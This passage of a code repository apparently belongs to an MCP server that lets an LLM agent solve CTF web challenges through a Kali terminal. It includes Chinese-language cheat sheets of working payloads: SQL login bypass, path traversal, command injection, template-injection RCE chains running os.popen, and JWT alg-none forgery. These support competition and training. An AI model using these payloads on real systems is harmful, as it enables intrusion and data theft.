Shell 查找敏感文件** | 利用 Shell 命令查找标志文件，特别是在 Web Shell 上传成功后。 | **利用**：`c=find / -maxdepth 3 -iname flag\* -type f 2>/dev/null; echo __END__` 来搜索文件，并使用特殊字符串 `__END__` 标记输出结束。 | 10 | 11 | ### 三、 综合探测、信息收集与辅助绕过手法 12 | 13 | 成功的渗透通常需要结合多种信息收集和绕过技术。 14 | 15 | #### 1. 信息收集与发现 16 | 17 | | 手法/工具 | 目的 | 具体操作 | 18 | | :--- | :--- | :--- | 19 | | **目录/文件模糊测试** | 发现隐藏的端点、泄露的配置文件或备份文件。 | 使用 **`feroxbuster`**、**`gobuster`**、**`ffuf`** 或 **`dirb`** 扫描常见路径如 `/admin`, `/api/flag`, `/config.php`, `.env` 等。 | 20 | | **静态资源隐写** | 检查图像、CSS、JS 等静态文件中是否包含敏感信息。 | **利用**：下载图片（如 `.png` 或 `.jpg`），然后使用 **`strings -n 8`** 和 **`grep -i -E 'flag\{|ctf\{'`** 搜索隐藏的标志字符串。 | 21 | | **敏感文件尝试** | 直接尝试访问常见的 Flag 路径。 | 使用 `curl` 尝试 `/flag`, `/flag.txt`, `/FLAG.txt`, `/var/www/flag.txt` 等。 | 22 | | **内部 IP 探测** | 使用 SSRF 或 URL 包含漏洞探测内部服务。 | 23 | 24 | #### 2. 认证和过滤绕过 25 | 26 | | 绕过场景 | 核心技巧与利用手法 | 具体操作 | 27 | | :--- | :--- | :--- | 28 | | **目录遍历过滤** | 使用不同形式的 `../` 编码。 | **利用**：尝试 `..%2f..%2fetc%2fpasswd`、`..%2e%2f..%2e%2fetc%2fpasswd` 或 `/static/%2e%2e/flag.txt`。 | 29 | | **PHP LFI 协议绕过** | 使用 PHP 协议绕过文件扩展名限制。 | **利用**：`php://filter/convert.base64-encode/resource=index.php`。 | 30 | | **SQL 认证绕过** | 使用经典的万能密码。 | **利用**：在登录表单中注入 `username=' OR '1'='1' -- -` 或 `username='OR%091=1#` (利用 URL 编码和注释)。 | 31 | | **HTTP 头部伪造** | 尝试在请求头中注入特殊的调试或权限提升头。 | **利用**：在请求中添加 `X-Admin: 1` 或 `X-Forwarded-For: 127.0.0.1` 来尝试触发调试模式或内部访问权限。 | 32 | | **XSS 利用 (客户端)** | 在 RCE/CI 失败时，验证输入点是否可用于 XSS 注入，从而进一步分析客户端代码或证明输入未被转义。 | **利用**：使用 `` 或 `` 以及 JavaScript 构造函数如 `[]['filter']['constructor']('alert(\'XSS\')')()` 进行客户端代码执行。 | 33 | 34 | 35 | ## 四、 辅助漏洞利用与信息发现技巧 36 | 37 | 在实际的 Web 挑战中，SSTI 往往与其他漏洞或利用技术结合使用。 38 | 39 | ### 1. 路径遍历/本地文件包含 (LFI) 40 | 41 | 即使没有完整的 SSTI RCE，攻击者也会尝试利用路径遍历来读取敏感文件。 42 | 43 | | 目标 | 技巧/手法 | 示例 Payload (URL 参数) | 44 | | :--- | :--- | :--- | 45 | | **读取敏感文件** | 使用 `../` 或编码形式 (`..%2f`) 遍历目录结构，读取 `/etc/passwd` 或 `/FLAG.php` 等文件。 | `filename=../../etc/passwd` | | 46 | | **读取源代码** | 利用 PHP 封装器（如 `php://filter`）来 Base64 编码服务器端的文件，以读取其源代码。 | `id=php://filter/convert.base64-encode/resource=post.php` | | 47 | 48 | ### 2. 命令注入/辅助 RCE 49 | 50 | 如果模板引擎参数无法直接 RCE，但服务器将输入传递给系统命令（如 Ping 功能），则可利用**命令注入**。 51 | 52 | | 目标 | 技巧/手法 | 示例 Payload (POST 参数) | 53 | | :--- | :--- | :--- | 54 | | **命令执行并外带结果** | 注入命令，将结果重定向到 Web 路径下可访问的文件，然后通过 HTTP 请求读取该文件。 | `ip_address=127.0.0.1; cat /FLAG.txt > static/flag.txt` | | 55 | 56 | ### 3. 信息泄露与调试模式 57 | 58 | 通过修改 URL 参数或 HTTP Header，尝试触发服务器的调试模式或配置信息泄露。 59 | 60 | | 目标 | 技巧/手法 | 示例 Payload | 61 | | :--- | :--- | :--- | 62 | | **触发调试信息** | 尝试在 URL 中添加常见的调试或源码参数。 | `?debug=1`, `?source=1`, `?view-source` | | 63 | | **泄露 Session 内容** | 在某些框架中，使用特定参数可以显示服务器端 Session 存储的内容，其中可能包含管理员身份或敏感路径。 | `?debug=session` | | 64 | -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log/slog" 7 | "tencent-xbow-mcp/mcpserver" 8 | ) 9 | 10 | var mode string 11 | var listenAddr string 12 | var xbowUrl string 13 | var xbowToken string 14 | var dockerContainer string 15 | var dockerfileDir string 16 | var dockerImage string 17 | var dockerLogDir string 18 | var mockEnable bool 19 | var mockAddr string 20 | var mockDir string 21 | 22 | func init() { 23 | flag.StringVar(&mode, "mode", "streamable", "MCP server mode: stdio, sse, streamable") 24 | flag.StringVar(&mode, "m", "streamable", "MCP server mode: stdio, sse, streamable (shorthand)") 25 | 26 | flag.StringVar(&listenAddr, "listen", "127.0.0.1:8080", "Listen address for MCP server") 27 | flag.StringVar(&listenAddr, "l", "127.0.0.1:8080", "Listen address for MCP server (shorthand)") 28 | 29 | flag.StringVar(&xbowUrl, "xbow-url", "", "XBow URL") 30 | flag.StringVar(&xbowUrl, "u", "", "XBow URL (shorthand)") 31 | 32 | flag.StringVar(&xbowToken, "xbow-token", "", "XBow API token") 33 | flag.StringVar(&xbowToken, "t", "", "XBow API token (shorthand)") 34 | 35 | flag.StringVar(&dockerContainer, "docker-container", "xbow-kail", "Docker exec container fixed name") 36 | flag.StringVar(&dockerContainer, "c", "xbow-kail", "Docker exec container fixed name (shorthand)") 37 | 38 | flag.StringVar(&dockerLogDir, "docker-exec-log-dir", "./.kail-history", "Docker exec log directory") 39 | flag.StringVar(&dockerLogDir, "d", "./.kail-history", "Docker exec log directory (shorthand)") 40 | 41 | flag.StringVar(&dockerfileDir, "dockerfile-dir", "./Dockerfile", "Dockerfile directory") 42 | flag.StringVar(&dockerfileDir, "f", "./Dockerfile", "Dockerfile directory (shorthand)") 43 | 44 | flag.StringVar(&dockerImage, "docker-image", "xbow-kail:latest", "Docker image name:tag") 45 | flag.StringVar(&dockerImage, "i", "xbow-kail:latest", "Docker image name:tag (shorthand)") 46 | 47 | // Mock platform options 48 | flag.BoolVar(&mockEnable, "mock", false, "Enable local mock platform server") 49 | flag.StringVar(&mockAddr, "mock-addr", "127.0.0.1:8000", "Mock platform listen address") 50 | flag.StringVar(&mockDir, "mock-dir", "./mock-challenges", "Directory path for per-challenge JSON files") 51 | 52 | flag.Parse() 53 | } 54 | 55 | func main() { 56 | // Optionally start mock platform server 57 | if mockEnable { 58 | if mockDir == "" { 59 | mockDir = "./mock-challenges" 60 | } 61 | _, err := mcpserver.StartMockPlatformFromDir(mockAddr, xbowToken, mockDir) 62 | if err != nil { 63 | slog.Error("failed to start mock platform:", "error", err) 64 | } else { 65 | if xbowUrl == "" { 66 | xbowUrl = "http://" + mockAddr 67 | } 68 | slog.Info("mock platform started at", "addr", "http://"+mockAddr, "dir", mockDir) 69 | } 70 | } 71 | 72 | server, err := mcpserver.NewMcpServer(mcpserver.NewMcpServerOptions( 73 | mcpserver.WithMcpServerMode(func() mcpserver.McpMode { 74 | switch mode { 75 | case "stdio": 76 | return mcpserver.Stdio 77 | case "sse": 78 | return mcpserver.SSE 79 | case "streamable": 80 | return mcpserver.Streamable 81 | default: 82 | return mcpserver.Streamable 83 | } 84 | }()), 85 | mcpserver.WithMcpServerListenAddr(listenAddr), 86 | mcpserver.WithXbowUrl(xbowUrl), 87 | mcpserver.WithXbowToken(xbowToken), 88 | mcpserver.WithDockerContainer(dockerContainer), 89 | mcpserver.WithDockerfileDir(dockerfileDir), 90 | mcpserver.WithDockerImage(dockerImage), 91 | mcpserver.WithDockerExecLogDir(dockerLogDir), 92 | )) 93 | if err != nil { 94 | fmt.Println(err) 95 | } 96 | server.Start() 97 | } 98 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/idor.md: -------------------------------------------------------------------------------- 1 | ## 访问控制/身份验证缺陷的题目类型与解题技巧 2 | 3 | ### 一、 类型一：不安全的直接对象引用（IDOR）/ 路径遍历越权（LFI） 4 | 5 | 此类缺陷是指应用程序通过用户提供的标识符直接引用内部对象（文件、用户 ID、路径等），但未进行充分的权限检查，导致攻击者可以通过简单地修改这些标识符来越权访问资源。 6 | 7 | #### 题目类型 (Topic Categories) 8 | 9 | 1. **基于资源 ID 的水平或垂直越权 (IDOR)**：通过修改 URL 查询参数、POST 请求体或 API 路径中的用户 ID、文档 ID 或记录编号，访问其他用户的数据或更高权限的资源。 10 | 2. **本地文件包含/路径遍历 (LFI/Path Traversal)**：应用程序在处理文件路径的参数时（如 `filename`、`file`），未能正确过滤 `../` 序列或其编码形式，导致可以读取服务器的任意本地文件。 11 | 3. **模板/文件加载越权 (Template/File Inclusion PE)**：通过操纵用于加载模板、错误页面或配置文件的参数（如 `error_type`），注入路径遍历载荷，从而导致敏感信息泄露甚至远程代码执行（RCE）。 12 | 13 | #### 做题技巧或手法 (Exploitation Techniques) 14 | 15 | | 技巧/手法 | 详细说明 | 16 | | :--- | :--- | 17 | | **路径注入多重编码** | 在参数中尝试使用各种路径遍历形式，包括未编码的 `../`、URL 编码的 `..%2f`、双重编码的 `..%252f`，甚至更复杂的编码变体（如 Unicode 变体或混合斜杠），以绕过后端过滤机制。 | 18 | | **利用文件协议** | 在路径/URL 参数中尝试使用 `php://filter` 协议来读取 PHP 源代码（例如 `php://filter/convert.base64-encode/resource=post.php`），或利用 `file:///` 协议（如插件利用场景中的 `bm_url=file:///opt/flag.txt`）读取本地文件。 | 19 | | **参数值迭代和猜测** | 对表示用户、订单或文件的数字 ID 进行递增、递减或猜测特殊 ID（如 `0`、`1`、`-1`），以发现越权点。 | 20 | | **模糊测试隐藏路径和文件** | 尝试在路径参数中注入常见的文件名或路径，例如 `/flag`、`/etc/passwd`、`/static/../app.py`。 | 21 | | **利用模板/文件引用加载 RCE 载荷** | 结合文件上传漏洞，将包含模板注入（如 SSTI）载荷的 HTML 文件上传到服务器的公共目录，然后利用 `error_type=../images/pwn.html` 这样的参数引用并执行该文件。 | 22 | 23 | ### 二、 类型二：身份验证/会话数据操纵导致的权限提升 24 | 25 | 这类攻击利用了应用程序在客户端存储或处理身份验证信息（如 Cookie 或 JWT）时的缺陷，允许攻击者通过修改这些数据来伪造权限。 26 | 27 | #### 题目类型 (Topic Categories) 28 | 29 | 1. **不安全的反序列化/数据结构操纵**：应用程序将序列化对象（常见于 PHP）存储在 Cookie 中。攻击者通过 Base64 解码、修改序列化字符串中的用户角色、权限标志位（如 `is_admin`、`role`）或密码字段，再重新编码后发送，实现权限提升。 30 | 2. **弱 JSON Web Token (JWT) 认证**：JWT 的签名机制存在缺陷（如使用 `alg: none`），或未对 Payload 中的权限字段（如 `user_type` 或 `user_id`）进行验证，导致攻击者可以伪造任意身份(flag 用户)。 31 | 3. **客户端标志位注入**：应用程序依赖于特定的 Header 或 Cookie 来赋予权限，攻击者通过在请求中注入这些标志位（例如 `X-Admin: 1`、`isAdmin=1`）来绕过授权检查。 32 | 33 | #### 做题技巧或手法 (Exploitation Techniques) 34 | 35 | | 技巧/手法 | 详细说明 | 36 | | :--- | :--- | 37 | | **PHP 序列化类型混淆** | 利用 PHP 的弱类型比较特性，在反序列化载荷中修改密码字段的数据类型，尝试使用布尔值 `b:1;` 或浮点数 `d:0;` 来绕过密码的严格字符串比较。 | 38 | | **JWT 签名算法降级** | 明确将 JWT Header 中的签名算法（`alg`）设置为 `none`，并修改 Payload 中的关键字段（如将 `user_type` 从 `customer` 改为 `admin` 或将 `user_id` 改为 `0` 或 `1`），然后发送无签名或伪造签名的 Token。 | 39 | | **会话/Header 注入** | 尝试在请求头中注入或修改权限相关的 Header（如 `X-Admin: 1`、`X-Debug: 1`）或 IP 欺骗 Header（如 `X-Forwarded-For: 127.0.0.1`），以模拟来自内部网络或具有管理权限的请求。 | 40 | 41 | ### 三、 类型三：弱身份验证机制/逻辑缺陷 42 | 43 | #### 题目类型 (Topic Categories) 44 | 45 | 1. **登录绕过 (Login Bypass)**：由于 SQL 注入 或弱密码猜测导致可以直接以高权限用户身份登录。 46 | 2. **验证码/Token 缺陷 (Captcha/Token Flaws)**：验证码逻辑存在缺陷，允许重放、操纵或暴力破解。 47 | 3. **多步骤逻辑流程缺陷**：在用户注册、配置或数据修改的多步骤流程中，未能对所有输入的字段进行严格验证，允许攻击者注入通常隐藏的权限提升参数。 48 | 49 | #### 做题技巧或手法 (Exploitation Techniques) 50 | 51 | | 技巧/手法 | 详细说明 | 52 | | :--- | :--- | 53 | | **经典 SQL 绕过** | 在用户名和/或密码字段中注入常见的万能密码，例如 `username=admin' OR '1'='1-- -`。 | 54 | | **客户端逻辑参数注入** | 在注册或表单提交中，尝试通过 POST 请求添加隐藏的或预期只有管理员才能修改的字段，如在注册的第三步尝试注入 `is_premium=on` 字段，以获取付费或特权功能。 | 55 | | **验证码数据突变** | 如果验证码存储在 Cookie 中且经过 Base64 等可逆编码，尝试获取其值，并对数据进行微小修改（如修改最后一个字节 `arr[-1]^=1`），以绕过校验，这通常称为“验证码突变”。 | 56 | | **内部 IP 或 Hostname 欺骗** | 尝试使用 `Host: localhost` 或 `Host: admin.local` 等 Header 访问同一端点，以利用可能基于 Host 检查或内部 IP 限制的访问控制。 | 57 | 58 | 59 | #### 做题技巧或手法 (Exploitation Techniques) 60 | 61 | | 技巧/手法 | 详细说明 | 62 | | :--- | :--- | 63 | | **目录和文件模糊测试 (Fuzzing)** | 使用自动化工具（如 `gobuster`、`feroxbuster` 或 `ffuf`）配合字典，大规模扫描常见的管理路径、隐藏文件（`.env`、`.git`）和旗帜文件路径。 | 64 | | **查询参数探测调试信息** | 在 URL 中添加常见的调试参数（如 `?debug=1`、`?source=1` 或 `?view-source`），尝试触发应用显示内部配置或源代码。在某些特殊应用中，甚至可以探测会话内容（如 `?debug=session`）。 | 65 | | **分析静态资源中的元数据** | 下载网站的静态图片（如 PNG、JPG），并使用 `strings` 工具搜索硬编码的 Flag 格式（如 `FLAG{...}`）或敏感字符串。 | 66 | | **探索特殊目录** | 探测常见的默认暴露目录，例如 `/static/`、`/upload/` 或 `/icons/`，以寻找可能未被正确限制的配置文件或文件上传内容。 | -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | # EZ XBow Challenge MCP 2 | 3 | 一个用于 AI 驱动的渗透测试竞赛的**模型上下文协议 (MCP)** 服务器。该工具提供了一个完整的 API 接口，使 LLM 能够自主参与 CTF 挑战。 4 | 5 | > 建议与 [kimi-cli-for-xbow](https://github.com/m-sec-org/kimi-cli-for-xbow) 配合使用，或集成进你自己的 Agent 工作流中 6 | 7 | ## 特性 8 | 9 | - **挑战管理** - 列出、尝试和提交 CTF 挑战的解决方案 10 | - **知识库** - 内建涵盖 9 种漏洞类别的 CTF 技术文档 11 | - **持久化 Kali 容器** - 在隔离环境中执行安全工具（nmap、sqlmap、gobuster 等） 12 | - **尝试历史** - 通过自动笔记管理，跨会话跟踪和共享发现 13 | - **多种协议** - 支持 stdio、SSE 和 HTTP/2 流模式 14 | 15 | ## 快速开始 16 | 17 | ### 前提条件 18 | 19 | - Go 1.24.7+ 20 | - 支持 buildx 的 Docker 21 | 22 | ### 构建 23 | 24 | ```bash 25 | go build -o xbow-mcp ./cmd/main.go 26 | ``` 27 | 28 | ### 使用模拟平台运行（测试） 29 | 30 | 在 `./mock-challenges` 中根据模板创建相应赛题文件。 31 | 32 | ```json 33 | { 34 | "challenge_code": "XBEN-123-24", 35 | "difficulty": "easy", 36 | "points": 200, 37 | "target_info": { 38 | "ip": "192.168.5.37", 39 | "port": [32820] 40 | }, 41 | "hint_viewed": false, 42 | "solved": true, 43 | "hint_content": "Sometimes the AuthN/AuthZ checks are vulnerable to TOCTOU issues if they are not implemented properly", 44 | "solution": "flag{xxxx}" 45 | } 46 | ``` 47 | 48 | 启动命令 49 | 50 | ```bash 51 | ./xbow-mcp --mock -listen 127.0.0.1:8080 52 | ``` 53 | 54 | ### 使用真实平台运行 55 | 56 | ```bash 57 | ./xbow-mcp \ 58 | -xbow-url https://your-xbow-platform.com \ 59 | -xbow-token YOUR_AUTH_TOKEN \ 60 | -mode streamable \ 61 | -listen 127.0.0.1:8080 62 | ``` 63 | 64 | ## 可用工具 65 | 66 | | 工具 | 描述 | 67 | | ---------------------- | ------------------------------------------------------------------- | 68 | | `list_challenges` | 获取当前阶段的挑战，包括难度和目标信息 | 69 | | `do_challenge` | 标记挑战为进行中，并增加尝试计数器 | 70 | | `get_challenge_hint` | 检索提示（会扣除分数） | 71 | | `submit_answer` | 提交 Flag 并接收评分结果 | 72 | | `get_ctf_skill` | 访问技术文档（xss、sql、ssti、ssrf、idor、xxe、lfi、codei、afr&pt） | 73 | | `write_challenge_note` | 保存发现和尝试记录，供将来参考 | 74 | | `read_challenge_note` | 查看历史笔记（每 9 次尝试后自动重置） | 75 | | `kail_terminal` | 在持久化 Kali 容器中执行命令 | 76 | | `get_terminal_history` | 通过 ID 检索命令执行结果 | 77 | 78 | ## 命令行选项 79 | 80 | ```bash 81 | # 服务器模式 82 | -mode, -m [stdio|sse|streamable] MCP 服务器协议 (默认: streamable) 83 | -listen, -l ADDR:PORT 监听地址 (默认: 127.0.0.1:8080) 84 | 85 | # 平台配置 86 | -xbow-url, -u URL XBow API 基础 URL 87 | -xbow-token, -t TOKEN 认证 Token 88 | 89 | # Docker 配置 90 | -docker-container, -c NAME 容器名称 (默认: xbow-kail) 91 | -docker-image, -i IMAGE:TAG Docker 镜像 (默认: xbow-kail:latest) 92 | -dockerfile-dir, -f PATH Dockerfile 路径 (默认: ./Dockerfile) 93 | -docker-exec-log-dir, -d DIR 执行日志目录 (默认: ./.kail-history) 94 | 95 | # 模拟平台（本地测试） 96 | --mock 启用模拟平台服务器 97 | -mock-addr ADDR:PORT 模拟服务器地址 (默认: 127.0.0.1:8000) 98 | -mock-dir PATH 模拟挑战目录 (默认: ./mock-challenges) 99 | ``` 100 | 101 | ## 集成 102 | 103 | ### MCP 客户端 104 | 105 | 添加到您的 MCP 客户端配置中： 106 | 107 | ```json 108 | { 109 | "mcpServers": { 110 | "ezmcp": { 111 | "url": "http://127.0.0.1:8080/mcp" 112 | } 113 | } 114 | } 115 | ``` 116 | 117 | ## 本地存储 118 | 119 | - `.challenge_history/{challenge_code}/` - 尝试元数据、笔记和历史记录 120 | - `.kail-history/` - 命令执行记录 121 | 122 | ## TODO 123 | 124 | - 自动编译并启动 XBOW 靶场并配置赛题信息。 125 | 126 | ## 许可 127 | 128 | 开源。详情请参见 LICENSE 文件。 129 | 130 | ## 贡献 131 | 132 |

133 | 134 | sponsors-list 135 | 136 |

137 | 138 | 139 | 欢迎提出 Issue 和 Pull Request。 140 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/ssti.md: -------------------------------------------------------------------------------- 1 | # 服务器端模板注入（SSTI）题目类型与利用技巧总结 2 | 3 | SSTI 攻击的核心是欺骗服务器，让其将用户输入作为**模板引擎的指令**而不是普通数据进行解析和执行。 4 | 5 | ## 一、 SSTI 漏洞的检测与确认技巧 6 | 7 | 在开始具体的漏洞利用之前，首先必须确认是否存在模板注入，并初步判断所使用的**模板引擎类型**。 8 | 9 | | 目标/类型 | 技巧/手法 | 示例 Payload (Jinja2/Twig 风格) | 10 | | :--- | :--- | :--- | 11 | | **基础算术检测** | 注入简单数学表达式。如果结果被计算并返回（如 49），则确认存在模板解析。这是最基础的检测方法。 | `{{7*7}}` 或 `{{ 7|add:7 }}` | 12 | | **环境差异测试** | 尝试注入不同模板引擎的独特语法，根据服务器的报错信息或解析结果来确定具体的模板引擎（如 Jinja2/Twig 使用 `{{...}}`，ERB 使用 `<%=...%>`，OGNL 使用 `%{...}` 或 `#...`）。 | `{% if 7*7 == 49 %}TEST{% endif %}` | 13 | | **URL 编码** | 在 GET 或 POST 参数中注入 Payload 时，通常需要对特殊字符进行 **URL 编码** (`{` 为 `%7B`，`*` 为 `%2A`)，以确保 Payload 完整地到达模板引擎进行解析。 | `?name=%7B%7B7%2A7%7D%7D` | 14 | 15 | ## 二、 针对不同语言和引擎的远程代码执行（RCE）技巧 16 | 17 | 一旦确认了模板引擎类型，攻击者会尝试进行**沙箱逃逸**（Sandbox Escape）以实现远程代码执行（RCE）或文件操作。 18 | 19 | ### 1. Python 环境下的模板注入 (Jinja2, Flask/Django) 20 | 21 | Python 环境通常利用其强大的**内省（Introspection）**能力，通过对象属性访问危险函数。 22 | 23 | | 攻击目标 | 利用技巧/手法 | 核心 Payload 结构 (示例) | 24 | | :--- | :--- | :--- | 25 | | **RCE (Globals 链)** | 通过模板上下文中可访问的内置对象（如 `cycler` 或 `request.application`），利用 Python 的继承关系（`__class__` -> `__base__` -> `__globals__`）来访问全局命名空间，进而导入 `os` 模块执行系统命令。 | `{{ cycler.__init__.__globals__.os.popen("cat /flag").read() }}` | 26 | | **RCE (Builtins 链)** | 直接通过 `__builtins__` 访问内置函数，如 `__import__`，用于导入 `os` 模块并执行命令。 | `{{request.application.__globals__.__builtins__.__import__('os').popen('cat /tmp/flag').read()}}` | 27 | | **RCE (利用过滤器)** | **注册未定义过滤器回调**：利用模板引擎的环境功能，将未定义的过滤器指向 `system` 或 `os.popen` 等函数，然后调用该过滤器来执行命令。 | `{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}` 或 `{{_self.env.getFilter('cat /flag.txt')}}` | 28 | | **RCE/文件外带 (写文件)** | 将命令执行的结果写入 Web 根目录或静态文件目录（如 `/static/`）下的文件，然后通过浏览器或 `curl` 访问该文件读取结果。 | (这是命令注入中的常用手法，如 `cat /FLAG.txt > static/flag.txt`) | 29 | | **RCE/文件包含 (模板覆盖)** | 通过文件上传功能，上传一个包含恶意 SSTI Payload 的文件，并利用目录遍历漏洞将其放置到服务器的模板目录下，然后通过某个参数引用该模板文件来触发执行。 | **上传 Payload 文件** (`{{ ... os.popen('cat /flag').read() }}`)，然后通过参数引用：`error_type=../images/pwn.html`。 | 30 | 31 | ### 2. Java 环境下的模板注入 (OGNL, Struts2) 32 | 33 | Java 中的注入往往涉及 OGNL（Object-Graph Navigation Language）表达式，攻击者需要进行复杂的 Java 类反射调用。 34 | 35 | | 攻击目标 | 利用技巧/手法 | 核心 Payload 结构 (示例) | 36 | | :--- | :--- | :--- | 37 | | **RCE (Struts2)** | 利用 Content-Type 或其他参数，通过反射绕过沙箱，构造 `java.lang.ProcessBuilder` 或类似的类来执行系统命令。 | 复杂的 OGNL 表达式，如利用 `@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS` 实现 RCE。 | 38 | | **文件读取 (Java NIO)** | 通过 OGNL 表达式调用 Java NIO API 来读取服务器上的文件内容。 | `%{new java.lang.String(@java.nio.file.Files@readAllBytes(@java.nio.file.Paths@get('/tmp/flag')))}` | 39 | | **文件读取 (Base64 编码)** | 读取文件内容后，使用 `java.util.Base64` API 进行 Base64 编码，以便在 HTTP 响应中安全地传输二进制或特殊字符内容。 | `%{**@java.util.Base64@getEncoder().encodeToString**(@java.nio.file.Files@readAllBytes(@java.nio.file.Paths@get('/tmp/flag')))}` | 40 | | **文件写入/重命名** | 利用 Java 的文件 API 在服务器上创建或修改文件。 | `message=%{#f=new java.io.FileWriter('/path/to/web/ping.txt'),#f.write('pong'),#f.close(),'OK'}` | 41 | | **信息泄露** | 获取系统属性或当前工作目录。 | `message=%{@java.lang.System@getProperty('user.dir')}` | 42 | 43 | ### 3. Ruby 环境下的模板注入 (ERB) 44 | 45 | Ruby 的 ERB 模板语法简洁，利用方式通常直观。 46 | 47 | | 攻击目标 | 利用技巧/手法 | 核心 Payload 结构 (示例) | 48 | | :--- | :--- | :--- | 49 | | **RCE (文件读取)** | 直接嵌入 Ruby 代码调用 `File.read`。 | `sentence=<%= File.read('/flag') %>` | 50 | 51 | ## 三、 辅助漏洞利用与信息发现技巧 52 | 53 | 在实际的 Web 挑战中，SSTI 往往与其他漏洞或利用技术结合使用。 54 | 55 | ### 1. 路径遍历/本地文件包含 (LFI) 56 | 57 | 即使没有完整的 SSTI RCE，攻击者也会尝试利用路径遍历来读取敏感文件。 58 | 59 | | 目标 | 技巧/手法 | 示例 Payload (URL 参数) | 60 | | :--- | :--- | :--- | 61 | | **读取敏感文件** | 使用 `../` 或编码形式 (`..%2f`) 遍历目录结构，读取 `/etc/passwd` 或 `/FLAG.php` 等文件。 | `filename=../../etc/passwd` | 62 | | **读取源代码** | 利用 PHP 封装器（如 `php://filter`）来 Base64 编码服务器端的文件，以读取其源代码。 | `id=php://filter/convert.base64-encode/resource=post.php` | 63 | 64 | ### 2. 命令注入/辅助 RCE 65 | 66 | 如果模板引擎参数无法直接 RCE，但服务器将输入传递给系统命令（如 Ping 功能），则可利用**命令注入**。 67 | 68 | | 目标 | 技巧/手法 | 69 | | :--- | :--- | 70 | | **命令执行并外带结果** | 注入命令，将结果重定向到 Web 路径下可访问的文件，然后通过 HTTP 请求读取该文件。 | 71 | 72 | ### 3. 信息泄露与调试模式 73 | 74 | 通过修改 URL 参数或 HTTP Header，尝试触发服务器的调试模式或配置信息泄露。 75 | 76 | | 目标 | 技巧/手法 | 示例 Payload | 77 | | :--- | :--- | :--- | 78 | | **触发调试信息** | 尝试在 URL 中添加常见的调试或源码参数。 | `?debug=1`, `?source=1`, `?view-source` | 79 | | **泄露 Session 内容** | 在某些框架中，使用特定参数可以显示服务器端 Session 存储的内容，其中可能包含管理员身份或敏感路径。 | `?debug=session` | 80 | 81 | ### 4. 不安全反序列化（Insecure Deserialization） 82 | 83 | 虽然并非 SSTI，但这种漏洞属于服务器端处理用户输入并执行操作的类型，在 CTF 环境中常与 SSTI 一同出现，特别是 PHP 环境下（通过修改 Cookie）。 84 | 85 | | 目标 | 技巧/手法 | 86 | | :--- | :--- | 87 | | **Cookie 身份伪造** | 修改 Base64 编码的序列化数据（如 PHP `creds` Cookie），将 `username` 或 `is_admin` 字段改为具有更高权限的值。 88 | -------------------------------------------------------------------------------- /mcpserver/mcpserver.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "log/slog" 7 | "net/http" 8 | "os" 9 | "os/exec" 10 | "os/signal" 11 | "syscall" 12 | "time" 13 | 14 | "github.com/modelcontextprotocol/go-sdk/mcp" 15 | ) 16 | 17 | type McpServer struct { 18 | options *McpServerOptions 19 | engine *mcp.Server 20 | } 21 | 22 | func NewMcpServer(options *McpServerOptions) (*McpServer, error) { 23 | mcpServer := &McpServer{ 24 | options: options, 25 | } 26 | mcpServer.initEngine() 27 | mcpServer.initTools() 28 | return mcpServer, nil 29 | } 30 | 31 | func (s *McpServer) initEngine() { 32 | s.engine = mcp.NewServer(&mcp.Implementation{ 33 | Name: "腾讯云黑客松-智能渗透挑战赛-本工具提供智能渗透挑战赛的完整 API 接口说明，参赛者需要使用这些 API 来获取赛题信息、查看提示以及提交 flag。", 34 | Version: "1.0", 35 | }, &mcp.ServerOptions{ 36 | KeepAlive: 10 * time.Minute, 37 | }) 38 | } 39 | 40 | func (s *McpServer) initTools() { 41 | mcp.AddTool(s.engine, &mcp.Tool{ 42 | Name: "list_challenges", 43 | Description: "获取当前阶段赛题列表（current_stage 与赛题明细）", 44 | }, s.listChallenges) 45 | mcp.AddTool(s.engine, &mcp.Tool{ 46 | Name: "get_challenge_hint", 47 | Description: "查看指定赛题的提示,会扣除相应分数，建议attempt_count>=2时使用", 48 | }, s.getHint) 49 | mcp.AddTool(s.engine, &mcp.Tool{ 50 | Name: "do_challenge", 51 | Description: "标记开始尝试指定赛题（本地增加尝试次数并标记正在做）", 52 | }, s.doChallenge) 53 | mcp.AddTool(s.engine, &mcp.Tool{ 54 | Name: "write_challenge_note", 55 | Description: "为指定赛题写入笔记/尝试记录，便于其他 LLM 复用经验", 56 | }, s.writeChallengeNote) 57 | mcp.AddTool(s.engine, &mcp.Tool{ 58 | Name: "read_challenge_note", 59 | Description: "读取指定赛题的历史笔记/尝试记录（来自本地 .challenge_history）", 60 | }, s.readChallengeNote) 61 | mcp.AddTool(s.engine, &mcp.Tool{ 62 | Name: "submit_answer", 63 | Description: "提交赛题答案，返回是否正确与得分", 64 | }, s.submitAnswer) 65 | mcp.AddTool(s.engine, &mcp.Tool{ 66 | Name: "kail_terminal", 67 | Description: "在持久化 Kali 容器中执行命令，返回输出与退出码；执行完成返回 id，可用 get_terminal_history 查询历史结果", 68 | }, s.kailTerminal) 69 | mcp.AddTool(s.engine, &mcp.Tool{ 70 | Name: "get_terminal_history", 71 | Description: "根据 id 查询历史命令执行结果（按会话隔离）", 72 | }, s.kailGetHistory) 73 | mcp.AddTool(s.engine, &mcp.Tool{ 74 | Name: "get_ctf_skill", 75 | Description: "获取指定类别的 CTF 技巧文档，支持的类别：idor（访问控制）、xss（跨站脚本）、sql（SQL注入）、ssti（模板注入）、ssrf（服务端请求伪造）、xxe（XML外部实体）、lfi（本地文件包含）、codei（代码注入）、afr&pt（任意文件读取和路径遍历）", 76 | }, s.getCTFSkill) 77 | } 78 | 79 | func (s *McpServer) Start() { 80 | // Ensure Kali container is available before serving 81 | if err := s.ensureKailContainer(); err != nil { 82 | slog.Warn("Failed to ensure Kail container", "error", err) 83 | } 84 | go func() { 85 | switch s.options.Mode { 86 | case Stdio: 87 | if err := s.engine.Run(s.options.Ctx, &mcp.StdioTransport{}); err != nil { 88 | slog.Warn("Failed to start MCP server", "error", err) 89 | os.Exit(0) 90 | return 91 | } 92 | case SSE: 93 | handler := mcp.NewSSEHandler(func(request *http.Request) *mcp.Server { 94 | 